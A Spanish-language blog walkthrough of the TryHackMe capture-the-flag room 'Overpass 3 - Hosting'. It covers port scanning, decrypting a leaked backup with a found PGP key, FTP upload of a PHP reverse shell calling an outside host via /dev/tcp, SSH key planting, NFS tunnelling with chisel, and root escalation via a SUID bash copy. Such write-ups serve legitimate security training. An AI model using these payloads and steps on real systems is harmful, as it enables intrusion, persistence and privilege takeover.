This page looks best with JavaScript enabled

TryHackMe - Overpass 3 - Hosting

 •  ✍️ sckull

Overpass 3 - Hosting es una maquina de TryHackMe, es una serie de maquinas las cuales envuelven diferentes retos, en esta se presentan retos web y enumeracion para obtener acceso y credenciales para acceder al siguiente usuario. Se obtuvo el puerto NFS localmente donde obtuvimos la clave privada para SSH de otro usuario. Finalmente escalamos privilegios con Bash.

Room

Titulo Overpass 3 - Hosting box_img_maker
Descripción You know them, you love them, your favourite group of broke computer science students have another business venture! Show them that they probably should hire someone for security…
Puntos 190
Dificultad Media
Maker

NinjaJc01

NMAP

Escaneo de puertos tcp, nmap nos muestra el puerto ftp (21), ssh (22) y el puerto http (80) abiertos.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
# Nmap 7.80 scan initiated Mon Jan 11 20:08:53 2021 as: nmap -p- --min-rate 1000 -o allPorts overpass.thm
Nmap scan report for overpass.thm (10.10.61.206)
Host is up (0.36s latency).
Not shown: 65532 filtered ports
PORT   STATE SERVICE
21/tcp open  ftp
22/tcp open  ssh
80/tcp open  http

# Nmap done at Mon Jan 11 20:11:05 2021 -- 1 IP address (1 host up) scanned in 132.11 seconds

# Nmap 7.80 scan initiated Mon Jan 11 20:11:31 2021 as: nmap -p 21,22,80 -sV -sC -o servicePorts overpass.thm
Nmap scan report for overpass.thm (10.10.61.206)
Host is up (0.31s latency).

PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.3
22/tcp open  ssh     OpenSSH 8.0 (protocol 2.0)
| ssh-hostkey: 
|   3072 de:5b:0e:b5:40:aa:43:4d:2a:83:31:14:20:77:9c:a1 (RSA)
|   256 f4:b5:a6:60:f4:d1:bf:e2:85:2e:2e:7e:5f:4c:ce:38 (ECDSA)
|_  256 29:e6:61:09:ed:8a:88:2b:55:74:f2:b7:33:ae:df:c8 (ED25519)
80/tcp open  http    Apache httpd 2.4.37 ((centos))
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-server-header: Apache/2.4.37 (centos)
|_http-title: Overpass Hosting
Service Info: OS: Unix

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Mon Jan 11 20:11:48 2021 -- 1 IP address (1 host up) scanned in 17.54 seconds

HTTP

Encontramos una pagina web en el puerto 80 donde vemos una descripcion de la “empresa” y de algunos posibles usuarios.

RUSTBUSTER

Utilizamos gobuster para busqueda de directorios y archivos.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
kali@kali:~/thm/overpass3$ /opt/rustbuster/rustbuster dir -u http://overpass.thm/ -w /usr/share/wordlists/dirb/common.txt -t 35 -e php,html,txt
~ rustbuster v3.0.3 ~ by phra & ps1dr3x ~

         _     _                 _         _           _        _                 _         _           _           _     
        /\ \  /\_\              / /\      /\ \        / /\     /\_\              / /\      /\ \        /\ \        /\ \   
       /  \ \/ / /         _   / /  \     \_\ \      / /  \   / / /         _   / /  \     \_\ \      /  \ \      /  \ \  
      / /\ \ \ \ \__      /\_\/ / /\ \__  /\__ \    / / /\ \  \ \ \__      /\_\/ / /\ \__  /\__ \    / /\ \ \    / /\ \ \ 
     / / /\ \_\ \___\    / / / / /\ \___\/ /_ \ \  / / /\ \ \  \ \___\    / / / / /\ \___\/ /_ \ \  / / /\ \_\  / / /\ \_\
    / / /_/ / /\__  /   / / /\ \ \ \/___/ / /\ \ \/ / /\ \_\ \  \__  /   / / /\ \ \ \/___/ / /\ \ \/ /_/_ \/_/ / / /_/ / /
   / / /__\/ / / / /   / / /  \ \ \    / / /  \/_/ / /\ \ \___\ / / /   / / /  \ \ \    / / /  \/_/ /____/\   / / /__\/ / 
  / / /_____/ / / /   / / _    \ \ \  / / /     / / /  \ \ \__// / /   / / _    \ \ \  / / /     / /\____\/  / / /_____/  
 / / /\ \ \  / / /___/ / /_/\__/ / / / / /     / / /____\_\ \ / / /___/ / /_/\__/ / / / / /     / / /______ / / /\ \ \    
/ / /  \ \ \/ / /____\/ /\ \/___/ / /_/ /     / / /__________/ / /____\/ /\ \/___/ / /_/ /     / / /_______/ / /  \ \ \   
\/_/    \_\/\/_________/  \_____\/  \_\/      \/_____________\/_________/  \_____\/  \_\/      \/__________\/_/    \_\/   


[?] Started at	: 2021-01-11 20:14:34

GET	403 Forbidden			http://overpass.thm/.html
GET     200 OK                          http://overpass.thm/
GET     301 Moved Permanently           http://overpass.thm/backups
						=> http://overpass.thm/backups/
GET     403 Forbidden                   http://overpass.thm/cgi-bin/
GET     403 Forbidden                   http://overpass.thm/cgi-bin/.html
GET     200 OK                          http://overpass.thm/index.html
GET     200 OK                          http://overpass.thm/index.html
  [00:02:33] ########################################   18444/18444   ETA: 00:00:00 req/s: 120

[?] Ended at: 2021-01-11 20:17:08

Encontramos un directorio que contiene un archivo comprimido, este iñto,p tiene una clave y un archivo encriptado.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
kali@kali:~/thm/overpass3$ wget http://overpass.thm/backups/backup.zip
--2021-01-11 20:18:31--  http://overpass.thm/backups/backup.zip
Resolving overpass.thm (overpass.thm)... 10.10.61.206
Connecting to overpass.thm (overpass.thm)|10.10.61.206|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 13353 (13K) [application/zip]
Saving to: ‘backup.zip’

backup.zip                                                  100%[========================================================================================================================================>]  13.04K  50.1KB/s    in 0.3s    

2021-01-11 20:18:32 (50.1 KB/s) - ‘backup.zip’ saved [13353/13353]

kali@kali:~/thm/overpass3$ unzip backup.zip 
Archive:  backup.zip
 extracting: CustomerDetails.xlsx.gpg  
  inflating: priv.key                
kali@kali:~/thm/overpass3$ ls
allPorts  backup.zip  CustomerDetails.xlsx.gpg  priv.key  servicePorts
kali@kali:~/thm/overpass3$ cat priv.key 
-----BEGIN PGP PRIVATE KEY BLOCK-----

lQOYBF+oX7cBCADhibQ/m0CUX0DKreNOMaBiG6YNrkaRd5XKFfZ8cO+JbE57Yuao
T3uhxN396ICsRBG7VGK03YZVwafMFxx0ItIEuV8n9nQ9K6WJg6od815J3UkkSMU4
TL6E+iGiAvYUtxwo2s/NqAdrUcAqoa9ImUxqHjJByNNpLbTcfKJKzZZEdVH6Iuo7
qLoKwNJLK427CpDqTFJmOLoRVH9XDSMaVaP5MT4qn18/iSJGpFJY/Qjv2RdgygiS
[... SNIP ...]
Aj7qgO6j7r2GkMwPiVlXQRW/dnhtNzvaS1ZR47R7YeFQuIIFiWnt+mamWrM3TN8x
5yeHVycXbFyRO121lKB0/q7f9dVFN8UY92F5cfMPUAOjM59P8Nsx3rFLUAhi7Fyo
5YeN91WwbAtRyc33YmwK/SpOVarOOdEvrGFK2z1Tq++RpqzuYFfnZ868NXJP+99Q
wR1fzkFAFjEZIO+bteZLEzr9BCUI7FAyQofXMggwiuyuw/Prcema52nhJvA=
=mr8q
-----END PGP PRIVATE KEY BLOCK-----
kali@kali:~/thm/overpass3$ 

Importamos la clave y desencriptamos el archivo, este ultimo contiene Nombres, usuarios, contraseñas e informacion de tarjetas de “credito”.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
kali@kali:~/thm/overpass3$ gpg --import priv.key 
gpg: /home/kali/.gnupg/trustdb.gpg: trustdb created
gpg: key C9AE71AB3180BC08: public key "Paradox <paradox@overpass.thm>" imported
gpg: key C9AE71AB3180BC08: secret key imported
gpg: Total number processed: 1
gpg:               imported: 1
gpg:       secret keys read: 1
gpg:   secret keys imported: 1
kali@kali:~/thm/overpass3$ gpg -d CustomerDetails.xlsx.gpg > file.xlsx
gpg: encrypted with 2048-bit RSA key, ID 9E86A1C63FB96335, created 2020-11-08
      "Paradox <paradox@overpass.thm>"
kali@kali:~/thm/overpass3$ file file.xlsx 
file.xlsx: Microsoft Excel 2007+
kali@kali:~/thm/overpass3$

FTP

Con las credenciales que encontramos intentamos ingresar por el servicio FTP donde logramos ver los archivos de la pagina y comprobar que tenemos permisos (con el primer usuario) de escritura, es por ello que comprobamos que el archivo shinji.php se muestra en la pagina.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
kali@kali:~/thm/overpass3$ ftp overpass.thm 
Connected to overpass.thm.
220 (vsFTPd 3.0.3)
Name (overpass.thm:kali): [SPOILER]
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls -lah
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxrwxrwx    3 48       48             94 Nov 17 23:54 .
drwxrwxrwx    3 48       48             94 Nov 17 23:54 ..
drwxr-xr-x    2 48       48             24 Nov 08 21:25 backups
-rw-r--r--    1 0        0           65591 Nov 17 20:42 hallway.jpg
-rw-r--r--    1 0        0            1770 Nov 17 20:42 index.html
-rw-r--r--    1 0        0             576 Nov 17 20:42 main.css
-rw-r--r--    1 0        0            2511 Nov 17 20:42 overpass.svg
226 Directory send OK.
ftp> pwd
257 "/" is the current directory
ftp> cd backups
250 Directory successfully changed.
ftp> ls -lah
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxr-xr-x    2 48       48             24 Nov 08 21:25 .
drwxrwxrwx    3 48       48             94 Nov 17 23:54 ..
-rw-r--r--    1 48       48          13353 Nov 08 21:24 backup.zip
226 Directory send OK.
ftp> cd ..
250 Directory successfully changed.
ftp> put shinji.php
local: shinji.php remote: shinji.php
200 PORT command successful. Consider using PASV.
150 Ok to send data.
226 Transfer complete.
25 bytes sent in 0.00 secs (305.1758 kB/s)
ftp>

APACHE - USER

Subimos una shell inversa (ya que el servicio SSH no nos permitió ingresar), la “ejecutamos” y logramos obtener una shell con el usuario Apache y nuestra flag web.flag.

1
2
3
<?php
exec("bash -i >& /dev/tcp/10.10.10.10/1338 0>&1");
?>


PARADOX - USER

Utilizando la contraseña de paradox logramos obtener una shell con este utilizando su, pero al parecer la consola esta “limitada” por lo que agregamos nuestra clave publica al archivo authorized_keys para poder ingresar por el servicio SSH y obtener una shell más comoda.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
pwd
/home/paradox/.ssh
ls -lah
total 8.0K
drwx------  2 paradox paradox  47 Nov 18 18:32 .
drwx------. 4 paradox paradox 203 Nov 18 18:29 ..
-rw-------  1 paradox paradox 583 Nov 18 18:29 authorized_keys
-rw-r--r--  1 paradox paradox 583 Nov 18 18:29 id_rsa.pub
echo "ssh-rsa AAAAB3NzaC1yc2EAAAAD[... snip ...]EA8NHz17TjX/NsxObr9Q6ziiRgIc= kali@kali" >> authorized_keys

tail authorized_keys
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAAB[... snip ...]8NHz17TjX/NsxObr9Q6ziiRgIc= kali@kali

JAMES NFS - USER

Enumeramos la maquina y encontramos puertos locales que no aparecen abiertos en nmap o aparecen filtrados, puertos que pertenecen RPC (111), NFS (2049) y MOUNTD (20048), al revisar si existia un punto de acceso encontramos la carpeta principal de James: /home/james, y que, cualquiera tiene acceso. Pero existe un problema, estos puertos solo estan disponibles de manera local y para montar este punto de acceso es necesario privilegios root, es por eso que debemos de llevar estos puertos a nuestra maquina para poder montar el punto de acceso, poder listar y montarlo tal cual como lo muestra showmount -e dentro de la maquina (/home/james). Para ello utilizamos chisel (ya que SSH no me permitia obtener el puerto 111) y SSH.

1
2
3
4
5
6
7
8
#CHISEL en Overpass
./chisel client 10.2.29.162:8080 R:111:127.0.0.1:111

#Chisel en nuestra maquina
./chisel server -p 8080 --reverse

#SSH en nuestra maquina
ssh -L 2049:127.0.0.1:2049 -L 20048:127.0.0.1:20048 paradox@overpass.thm

En caso de que nuestra maquina no acepte el puerto 111 hay que parar el servicio rpcbind

1
2
systemctl stop rpcbind
systemctl stop rpcbind.socket

Revisamos que los puertos estan localmente y que existe el punto de acceso con showmount.

Creamos una carpeta, montamos el punto de acceso con mount.

1
2
3
4
5
#Creamos una carpeta
mkdir jamesstuff

#MOUNT
sudo mount -o nolock -t nfs localhost:/home/james /home/kali/thm/overpass3/jamesstuff/

Logramos obtener acceso a los archivos de James, nuestra flag user.txt y su clave privada de SSH la cual utilizamos para obtener una shell con este usuario.

PRIVILEGE ESCALATION

Ya que tenemos acceso a la carpeta de James a traves de NFS vamos a copiar bash con permisos root o SUID.

1
2
cp /bin/bash .
chmod +s bash

Ya que tenemos acceso a la maquina con el usuario James ejecutamos bash -p para obtener una shell con el usuario root y nuestra flag root.txt.

NFS - UPDATE

No era necesario obtener el puerto 111 y 20048, solo el puerto 2049 y montar directamente localhost:/ a la carpeta especificada.

1
2
3
4
5
#SSH - Puerto 2049
ssh -L 2049:127.0.0.1:2049 paradox@overpass.thm

#Mount
sudo mount -t nfs localhost:/ /home/kali/thm/overpass3/jamesstuff/

Links útiles:

Share on

Dany Sucuc
WRITTEN BY
sckull
RedTeamer & Pentester wannabe